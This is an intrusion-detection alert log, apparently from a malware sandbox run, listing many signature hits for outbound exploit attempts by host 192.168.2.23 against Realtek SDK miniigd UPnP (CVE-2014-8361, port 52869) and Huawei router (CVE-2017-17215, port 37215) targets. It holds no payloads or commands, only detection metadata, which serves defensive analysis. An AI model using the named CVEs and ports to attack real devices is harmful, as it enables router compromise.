ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.63.105.168

Timestamp:	07/20/24-23:01:01.861410
SID:	2027339
Source Port:	55224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 96.213.123.243

Timestamp:	07/20/24-23:01:42.623848
SID:	2831300
Source Port:	57578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 137.127.2.156

Timestamp:	07/20/24-23:01:41.263057
SID:	2025132
Source Port:	59984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 116.148.59.65

Timestamp:	07/20/24-23:01:56.400580
SID:	2831300
Source Port:	51140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.192.16.201

Timestamp:	07/20/24-23:01:07.114267
SID:	2829579
Source Port:	35822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.107.33.68

Timestamp:	07/20/24-23:01:57.169212
SID:	2027339
Source Port:	44662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 206.22.143.145

Timestamp:	07/20/24-23:01:34.050313
SID:	2829579
Source Port:	43576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.210.235.204

Timestamp:	07/20/24-23:01:41.482016
SID:	2025132
Source Port:	60160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.27.5.34

Timestamp:	07/20/24-23:01:03.215254
SID:	2027339
Source Port:	42804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.145.35.196

Timestamp:	07/20/24-23:01:42.837135
SID:	2027339
Source Port:	34854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 139.37.94.236

Timestamp:	07/20/24-23:01:03.126921
SID:	2025132
Source Port:	52722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.228.92.40

Timestamp:	07/20/24-23:01:41.417573
SID:	2027339
Source Port:	48124
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.207.71.238

Timestamp:	07/20/24-23:01:44.484644
SID:	2027339
Source Port:	51464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.248.83.42

Timestamp:	07/20/24-23:00:59.211046
SID:	2829579
Source Port:	52812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.169.42.163

Timestamp:	07/20/24-23:01:21.951975
SID:	2835222
Source Port:	39574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.80.144.32

Timestamp:	07/20/24-23:01:12.852602
SID:	2831300
Source Port:	37314
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.179.229.220

Timestamp:	07/20/24-23:01:49.750742
SID:	2831300
Source Port:	42832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.126.24.60

Timestamp:	07/20/24-23:01:31.991336
SID:	2829579
Source Port:	53734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 158.240.85.125

Timestamp:	07/20/24-23:01:45.967403
SID:	2831300
Source Port:	48342
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 104.187.254.126

Timestamp:	07/20/24-23:01:27.651536
SID:	2835222
Source Port:	38282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 128.140.142.60

Timestamp:	07/20/24-23:02:13.672930
SID:	2831300
Source Port:	36658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 17.241.55.92

Timestamp:	07/20/24-23:01:45.010540
SID:	2831300
Source Port:	53536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.28.111.138

Timestamp:	07/20/24-23:01:42.944606
SID:	2027339
Source Port:	38246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.57.93.253

Timestamp:	07/20/24-23:01:01.410784
SID:	2027339
Source Port:	49602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.221.172.161

Timestamp:	07/20/24-23:01:42.718842
SID:	2027339
Source Port:	37182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.160.117.230

Timestamp:	07/20/24-23:01:24.915904
SID:	2835222
Source Port:	36404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.174.206.130

Timestamp:	07/20/24-23:01:57.795137
SID:	2027339
Source Port:	54130
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.187.195.110

Timestamp:	07/20/24-23:01:07.005155
SID:	2835222
Source Port:	39444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.130.121.87

Timestamp:	07/20/24-23:01:31.331748
SID:	2831300
Source Port:	42850
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.251.54.152

Timestamp:	07/20/24-23:01:08.611391
SID:	2027339
Source Port:	34982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.29.47.240

Timestamp:	07/20/24-23:01:46.092258
SID:	2027339
Source Port:	56642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.137.23.5

Timestamp:	07/20/24-23:01:44.440718
SID:	2831300
Source Port:	55302
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.50.220.234

Timestamp:	07/20/24-23:01:53.122466
SID:	2027339
Source Port:	53464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.207.100.170

Timestamp:	07/20/24-23:01:53.537092
SID:	2027339
Source Port:	60534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.167.36.239

Timestamp:	07/20/24-23:01:04.039128
SID:	2835222
Source Port:	41724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.247.196.153

Timestamp:	07/20/24-23:01:20.144672
SID:	2829579
Source Port:	59710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.108.180.162

Timestamp:	07/20/24-23:01:24.885895
SID:	2829579
Source Port:	37752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.176.61.239

Timestamp:	07/20/24-23:01:40.321300
SID:	2835222
Source Port:	54292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.221.171.171

Timestamp:	07/20/24-23:01:42.984532
SID:	2025132
Source Port:	57404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 62.188.56.156

Timestamp:	07/20/24-23:01:45.775798
SID:	2025132
Source Port:	51568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.37.216.246

Timestamp:	07/20/24-23:01:11.634372
SID:	2829579
Source Port:	57382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.217.31.58

Timestamp:	07/20/24-23:01:44.318262
SID:	2027339
Source Port:	44880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.39.168.222

Timestamp:	07/20/24-23:01:00.648489
SID:	2835222
Source Port:	56996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.133.16.151

Timestamp:	07/20/24-23:01:45.764338
SID:	2027339
Source Port:	53368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 142.206.118.182

Timestamp:	07/20/24-23:01:47.807536
SID:	2025132
Source Port:	48546
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 20.232.50.163

Timestamp:	07/20/24-23:01:52.740670
SID:	2025132
Source Port:	37902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.41.194.11

Timestamp:	07/20/24-23:01:24.898476
SID:	2829579
Source Port:	57642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.86.47.43

Timestamp:	07/20/24-23:01:11.028341
SID:	2025132
Source Port:	52050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 182.102.31.222

Timestamp:	07/20/24-23:00:57.223015
SID:	2835222
Source Port:	36772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.167.171.74

Timestamp:	07/20/24-23:01:03.286497
SID:	2027339
Source Port:	34874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 19.104.128.245

Timestamp:	07/20/24-23:01:20.157619
SID:	2829579
Source Port:	50048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 148.216.25.247

Timestamp:	07/20/24-23:01:45.331813
SID:	2025132
Source Port:	35310
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 212.16.123.155

Timestamp:	07/20/24-23:01:46.284457
SID:	2831300
Source Port:	53406
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.241.168.134

Timestamp:	07/20/24-23:01:06.988055
SID:	2829579
Source Port:	59684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.75.190.2

Timestamp:	07/20/24-23:01:52.826575
SID:	2027339
Source Port:	47194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 40.172.192.128

Timestamp:	07/20/24-23:01:58.249114
SID:	2025132
Source Port:	51848
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.79.73.48

Timestamp:	07/20/24-23:01:24.889164
SID:	2829579
Source Port:	47164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.85.128.112

Timestamp:	07/20/24-23:01:04.100971
SID:	2835222
Source Port:	60250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.52.13.24

Timestamp:	07/20/24-23:01:43.906354
SID:	2027339
Source Port:	59750
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.89.14.43

Timestamp:	07/20/24-23:02:14.779973
SID:	2027339
Source Port:	52536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.152.13.65

Timestamp:	07/20/24-23:01:50.257796
SID:	2025132
Source Port:	41528
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.171.209.210

Timestamp:	07/20/24-23:01:07.018425
SID:	2829579
Source Port:	35004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 217.227.78.54

Timestamp:	07/20/24-23:01:56.091033
SID:	2025132
Source Port:	52910
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.65.153.68

Timestamp:	07/20/24-23:01:44.389834
SID:	2831300
Source Port:	58038
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.128.73.171

Timestamp:	07/20/24-23:01:42.727936
SID:	2027339
Source Port:	43048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.139.230.45

Timestamp:	07/20/24-23:01:47.951292
SID:	2027339
Source Port:	54036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 36.185.15.35

Timestamp:	07/20/24-23:01:46.064501
SID:	2831300
Source Port:	59702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 151.22.190.51

Timestamp:	07/20/24-23:01:04.039128
SID:	2829579
Source Port:	39040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.36.171.85

Timestamp:	07/20/24-23:01:20.598095
SID:	2027339
Source Port:	35054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.74.166.37

Timestamp:	07/20/24-23:01:42.914230
SID:	2027339
Source Port:	52386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.103.54.206

Timestamp:	07/20/24-23:01:44.624990
SID:	2027339
Source Port:	51404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.75.190.222

Timestamp:	07/20/24-23:00:59.157444
SID:	2835222
Source Port:	47996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.72.134.93

Timestamp:	07/20/24-23:01:08.598416
SID:	2027339
Source Port:	33108
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 92.210.119.212

Timestamp:	07/20/24-23:01:46.072415
SID:	2025132
Source Port:	49980
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.140.216.184

Timestamp:	07/20/24-23:01:52.820390
SID:	2027339
Source Port:	54914
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.247.218.225

Timestamp:	07/20/24-23:01:44.963815
SID:	2027339
Source Port:	58050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.247.75.173

Timestamp:	07/20/24-23:01:11.820149
SID:	2829579
Source Port:	57558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 139.3.200.28

Timestamp:	07/20/24-23:01:57.518588
SID:	2831300
Source Port:	55242
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.86.48.66

Timestamp:	07/20/24-23:01:46.844704
SID:	2027339
Source Port:	40656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.211.128.165

Timestamp:	07/20/24-23:00:59.148144
SID:	2829579
Source Port:	47490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.170.117.213

Timestamp:	07/20/24-23:01:31.314147
SID:	2027339
Source Port:	58588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.105.180.115

Timestamp:	07/20/24-23:01:27.658221
SID:	2835222
Source Port:	39066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.172.125.251

Timestamp:	07/20/24-23:01:44.510114
SID:	2025132
Source Port:	46904
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.238.28.166

Timestamp:	07/20/24-23:01:47.006773
SID:	2027339
Source Port:	55532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.85.94.106

Timestamp:	07/20/24-23:01:40.310207
SID:	2835222
Source Port:	49548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.27.25.91

Timestamp:	07/20/24-23:01:02.060344
SID:	2829579
Source Port:	50014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.79.4

Timestamp:	07/20/24-23:01:00.633578
SID:	2835222
Source Port:	59562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.56.101.214

Timestamp:	07/20/24-23:01:32.032492
SID:	2835222
Source Port:	59880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.13.208.139

Timestamp:	07/20/24-23:01:02.045831
SID:	2835222
Source Port:	37860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 80.7.39.33

Timestamp:	07/20/24-23:01:41.956472
SID:	2831300
Source Port:	55608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.68.164.37

Timestamp:	07/20/24-23:01:10.603142
SID:	2025132
Source Port:	53562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 213.191.23.16

Timestamp:	07/20/24-23:01:21.937814
SID:	2829579
Source Port:	45388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.104.48.215

Timestamp:	07/20/24-23:01:46.485082
SID:	2027339
Source Port:	51436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.148.233.46

Timestamp:	07/20/24-23:01:45.544315
SID:	2025132
Source Port:	34768
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.167.170.254

Timestamp:	07/20/24-23:01:01.629050
SID:	2027339
Source Port:	37134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.196.122.240

Timestamp:	07/20/24-23:01:59.707284
SID:	2027339
Source Port:	47538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 220.78.147.215

Timestamp:	07/20/24-23:01:07.033766
SID:	2835222
Source Port:	51332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 119.187.229.164

Timestamp:	07/20/24-23:01:08.565610
SID:	2831300
Source Port:	43736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.202.235.206

Timestamp:	07/20/24-23:01:04.014688
SID:	2829579
Source Port:	49028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.160.62.15

